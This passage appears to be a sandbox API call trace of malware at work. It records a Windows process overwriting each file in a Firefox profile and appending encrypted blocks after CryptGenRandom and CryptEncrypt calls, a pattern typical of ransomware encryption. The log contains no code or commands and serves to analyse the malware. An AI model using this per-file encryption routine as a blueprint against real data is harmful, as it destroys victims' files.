lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0175.420] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0175.420] CloseHandle (hObject=0x1a24) returned 1 [0175.421] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0175.421] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0175.421] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\times.json", dwFileAttributes=0x80) returned 1 [0175.422] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2f70650 [0175.422] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x106) returned 0x56c6b8 [0175.422] ReadFile (in: hFile=0x1a24, lpBuffer=0x2f63430, nNumberOfBytesToRead=0x1d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f63430*, lpNumberOfBytesRead=0x2e1f9bc*=0x1d, lpOverlapped=0x0) returned 1 [0175.422] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-29, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.422] WriteFile (in: hFile=0x1a24, lpBuffer=0x2f63520*, nNumberOfBytesToWrite=0x1d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f63520*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1d, lpOverlapped=0x0) returned 1 [0175.423] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1d [0175.423] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0175.423] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0175.423] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0175.423] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0175.424] CloseHandle (hObject=0x1a24) returned 1 [0175.425] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0175.425] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0175.425] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage.sqlite", dwFileAttributes=0x80) returned 1 [0175.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2f704e0 [0175.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110) returned 0x61d0d8 [0175.426] ReadFile (in: hFile=0x1a24, lpBuffer=0x572c00, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x572c00*, lpNumberOfBytesRead=0x2e1f9bc*=0x200, lpOverlapped=0x0) returned 1 [0175.426] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.426] WriteFile (in: hFile=0x1a24, lpBuffer=0x30d2298*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d2298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x200, lpOverlapped=0x0) returned 1 [0175.427] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x200 [0175.427] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0175.427] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0175.427] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0175.428] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0175.428] CloseHandle (hObject=0x1a24) returned 1 [0175.429] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0175.429] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0175.429] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\SiteSecurityServiceState.txt", dwFileAttributes=0x80) returned 1 [0175.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f69f80 [0175.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x136) returned 0x56c6b8 [0175.430] ReadFile (in: hFile=0x1a24, lpBuffer=0x617c30, nNumberOfBytesToRead=0x71e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x617c30*, lpNumberOfBytesRead=0x2e1f9bc*=0x71e, lpOverlapped=0x0) returned 1 [0175.431] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-1822, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.431] WriteFile (in: hFile=0x1a24, lpBuffer=0x567378*, nNumberOfBytesToWrite=0x71e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x567378*, lpNumberOfBytesWritten=0x2e1f9bc*=0x71e, lpOverlapped=0x0) returned 1 [0175.431] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x71e [0175.431] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0175.431] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0175.432] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0175.432] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0175.432] CloseHandle (hObject=0x1a24) returned 1 [0175.433] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0175.433] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0175.433] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore.js", dwFileAttributes=0x80) returned 1 [0175.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2f6f008 [0175.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110) returned 0x61d420 [0175.434] ReadFile (in: hFile=0x1a24, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x1433, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1433, lpOverlapped=0x0) returned 1 [0175.441] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-5171, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.441] WriteFile (in: hFile=0x1a24, lpBuffer=0x30d5030*, nNumberOfBytesToWrite=0x1433, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1433, lpOverlapped=0x0) returned 1 [0175.442] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1433 [0175.442] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0175.442] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0175.442] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0175.442] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0175.442] CloseHandle (hObject=0x1a24) returned 1 [0175.444] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0175.444] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0175.444] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionCheckpoints.json", dwFileAttributes=0x80) returned 1 [0175.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67aa8 [0175.444] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578828 [0175.445] ReadFile (in: hFile=0x1a24, lpBuffer=0x578700, nNumberOfBytesToRead=0x120, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x578700*, lpNumberOfBytesRead=0x2e1f9bc*=0x120, lpOverlapped=0x0) returned 1 [0175.445] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.445] WriteFile (in: hFile=0x1a24, lpBuffer=0x578950*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x578950*, lpNumberOfBytesWritten=0x2e1f9bc*=0x120, lpOverlapped=0x0) returned 1 [0175.446] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x120 [0175.446] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0175.446] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0175.446] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0175.446] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0175.447] CloseHandle (hObject=0x1a24) returned 1 [0175.451] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0175.451] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0175.451] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\SecurityPreloadState.txt", dwFileAttributes=0x80) returned 1 [0175.452] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f69f80 [0175.452] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x136) returned 0x56c6b8 [0175.452] ReadFile (in: hFile=0x1a24, lpBuffer=0x5c34c8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0175.452] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.452] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0175.452] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0175.452] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0175.452] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0175.452] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0175.453] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0175.454] CloseHandle (hObject=0x1a24) returned 1 [0175.455] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0175.455] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0175.455] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\secmod.db", dwFileAttributes=0x80) returned 1 [0175.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2f6f008 [0175.455] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x106) returned 0x56c6b8 [0175.455] ReadFile (in: hFile=0x1a24, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x4000, lpOverlapped=0x0) returned 1 [0175.466] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.466] WriteFile (in: hFile=0x1a24, lpBuffer=0x30d9038*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d9038*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4000, lpOverlapped=0x0) returned 1 [0175.467] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4000 [0175.467] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0175.467] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0175.467] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0175.467] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0175.467] CloseHandle (hObject=0x1a24) returned 1 [0175.469] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0175.469] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0175.469] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\search.json.mozlz4", dwFileAttributes=0x80) returned 1 [0175.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f675f8 [0175.469] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11e) returned 0x578df0 [0175.470] ReadFile (in: hFile=0x1a24, lpBuffer=0x30d5030, nNumberOfBytesToRead=0x36e8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0x36e8, lpOverlapped=0x0) returned 1 [0175.475] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-14056, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.475] WriteFile (in: hFile=0x1a24, lpBuffer=0x30d8720*, nNumberOfBytesToWrite=0x36e8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d8720*, lpNumberOfBytesWritten=0x2e1f9bc*=0x36e8, lpOverlapped=0x0) returned 1 [0175.476] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x36e8 [0175.476] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0175.476] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0175.476] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0175.476] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0175.476] CloseHandle (hObject=0x1a24) returned 1 [0175.478] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0175.478] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0175.478] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\prefs.js", dwFileAttributes=0x80) returned 1 [0175.478] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2f6f0c0 [0175.478] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x106) returned 0x56c6b8 [0175.478] ReadFile (in: hFile=0x1a24, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x1fcd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1fcd, lpOverlapped=0x0) returned 1 [0175.488] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-8141, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.488] WriteFile (in: hFile=0x1a24, lpBuffer=0x30d5030*, nNumberOfBytesToWrite=0x1fcd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1fcd, lpOverlapped=0x0) returned 1 [0175.488] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1fcd [0175.488] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0175.488] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0175.489] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0175.489] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0175.489] CloseHandle (hObject=0x1a24) returned 1 [0175.490] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0175.490] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0175.490] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\pluginreg.dat", dwFileAttributes=0x80) returned 1 [0175.491] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2f6ee98 [0175.491] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x106) returned 0x56c6b8 [0175.491] ReadFile (in: hFile=0x1a24, lpBuffer=0x531498, nNumberOfBytesToRead=0x1cd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x531498*, lpNumberOfBytesRead=0x2e1f9bc*=0x1cd, lpOverlapped=0x0) returned 1 [0175.492] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=-461, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.492] WriteFile (in: hFile=0x1a24, lpBuffer=0x564d08*, nNumberOfBytesToWrite=0x1cd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x564d08*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1cd, lpOverlapped=0x0) returned 1 [0175.492] SetFilePointer (in: hFile=0x1a24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1cd [0175.492] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0175.492] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0175.493] WriteFile (in: hFile=0x1a24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, 